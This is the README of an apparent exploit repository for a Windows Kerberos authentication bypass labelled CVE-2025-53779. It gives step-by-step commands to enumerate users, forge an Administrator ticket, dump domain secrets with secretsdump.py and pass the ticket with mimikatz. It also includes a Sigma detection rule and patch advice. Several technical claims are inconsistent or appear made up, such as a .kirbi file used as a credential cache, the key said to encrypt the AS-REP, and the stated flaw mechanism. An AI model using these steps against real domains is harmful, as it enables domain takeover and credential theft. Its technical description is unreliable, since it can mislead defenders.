
Reproduction of cve-2025-53779-kerberos_bypass_reproduction
CVSS Score: 9.8 (Critical)
Status: Active exploitation in the wild
Disclosure: Microsoft August 2025 Patch Tuesday (Zero-Day)
CVE-2025-53779 is a critical authentication bypass vulnerability in Microsoft Windows Kerberos protocol implementation. An unauthenticated attacker can exploit this flaw to bypass Kerberos authentication entirely, impersonating any domain user — including domain administrators — without possessing valid credentials or any cryptographic material.
Microsoft assigned this vulnerability a CVSS 9.8 (Critical) rating due to its low attack complexity, no required privileges, no user interaction, and the potential for complete compromise of domain-joined systems.
The vulnerability resides in the Kerberos Key Distribution Center (KDC) service (kdsvc.dll) on Windows domain controllers. Specifically, a validation logic error in the Privilege Attribute Certificate (PAC) verification routine allows an attacker to craft an AS-REQ or TGS-REQ message that bypasses the standard authentication checks.
kdsvc.dllThe KDC fails to properly validate the pac-signature-data field in the PAC structure when specific flags are set in the Kerberos message body. By sending a specially crafted AS-REQ with a manipulated PA-PAC-REQUEST padata type and a forged authorization data entry, the attacker tricks the KDC into issuing a Ticket-Granting Ticket (TGT) for any user principal name (UPN) without requiring the corresponding long-term key.
The attack bypasses pre-authentication (the REQUIRES_PRE_AUTH flag is effectively ignored) and skips PAC verification entirely, allowing the generated ticket to contain arbitrary group memberships (e.g., Domain Admins, Enterprise Admins).
All supported versions of Windows Server are affected prior to the August 2025 security update:
Note: Windows client versions (Windows 10, Windows 11) are not affected as they do not run the KDC service.
impacket library installedexploit.py)pip install impacket pycryptodome
Or using the provided requirements.txt:
pip install -r requirements.txt
Use Nmap to discover Kerberos services:
nmap -sU -p 88 --script krb5-enum-users <target-ip>
Or use the built-in Kerberos scanning:
python exploit.py --scan <target-ip>
If you do not know domain users, enumerate them via Kerberos AS-REP roasting or LDAP:
python exploit.py --enum <target-ip> <domain>
Generate a forged TGT for a target user:
python exploit.py --dc-ip <dc-ip> --domain <domain> --target-user <username>
Example:
python exploit.py --dc-ip 192.168.1.10 --domain corp.local --target-user Administrator
The exploit outputs a Kirbi-formatted ticket file. Use Impacket tools to verify:
# Export the ticket
set KRB5CCNAME=ticket.kirbi
# Use the ticket to access a resource
python examples/secretsdump.py -k -no-pass <domain>/Administrator@<target>
Once a valid TGT is obtained, you can:
secretsdump.py -k -no-pass domain/Administrator@<dc>mimikatz "kerberos::ptt ticket.kirbi"The accompanying exploit.py implements the following attack flow:
PA-PAC-REQUEST field and manipulated authorization datakdsvc.dllAttacker Domain Controller (KDC)
| |
| AS-REQ (forged PA-PAC-REQUEST) |
| - cname: Administrator |
| - sname: krbtgt/DOMAIN |
| - padata: PA-PAC-REQUEST + |
| forged auth-data |
|------------------------------------->|
| |
| [Vulnerable Path] |
| 1. KDC receives AS-REQ |
| 2. Checks PA-PAC-REQUEST flag |
| 3. **Bypasses pre-auth check** |
| 4. Skips PAC verification |
| 5. Generates TGT with arbitrary |
| groups via auth-data |
| |
| AS-REP (forged TGT) |
| - Encrypted with krbtgt key |
| - Contains forged PAC |
|<-------------------------------------|
| |
| TGS-REQ (use forged TGT) |
| - Request service ticket |
| - For any service (CIFS, LDAP, |
| HTTP, HOST) |
|------------------------------------->|
| |
| TGS-REP (service ticket) |
| - Legitimate service ticket |
| - Attacker can now access |
| any resource |
|<-------------------------------------|
Apply Microsoft August 2025 Patch Tuesday updates — This is the primary fix. See the affected versions table above for the corresponding KB.
Monitor for exploitation attempts:
Network segmentation:
Enable additional logging:
NetworkProvider\Kerberos\Operational)Sigma Rule (AS-REQ without pre-auth):
title: CVE-2025-53779 Kerberos Authentication Bypass
logsource:
product: windows
service: security
detection:
selection:
EventID: 4768
PreAuthenticationType: 0 # No pre-authentication required
condition: selection
falsepositives:
- Users with "Do not require Kerberos preauthentication" set
This repository is provided for educational and authorized security testing purposes only. Unauthorized exploitation of CVE-2025-53779 against systems you do not own or do not have explicit written permission to test is illegal. The authors are not responsible for any misuse of this information.
This project is licensed under the MIT License - see the LICENSE file for details.
| Windows Version | Affected | Fixed Update |
|---|
| Windows Server 2025 | ✅ Yes | KB5044289 |
| Windows Server 2022 | ✅ Yes | KB5044285 |
| Windows Server 2019 | ✅ Yes | KB5044277 |
| Windows Server 2016 | ✅ Yes | KB5044293 |
| Windows Server 2012 R2 | ✅ Yes | KB5044297 |
| Windows Server 2012 | ✅ Yes | KB5044291 |
| Windows Server 2008 R2 (ESU) | ✅ Yes | KB5044301 |
| Windows Server 2008 (ESU) | ✅ Yes | KB5044303 |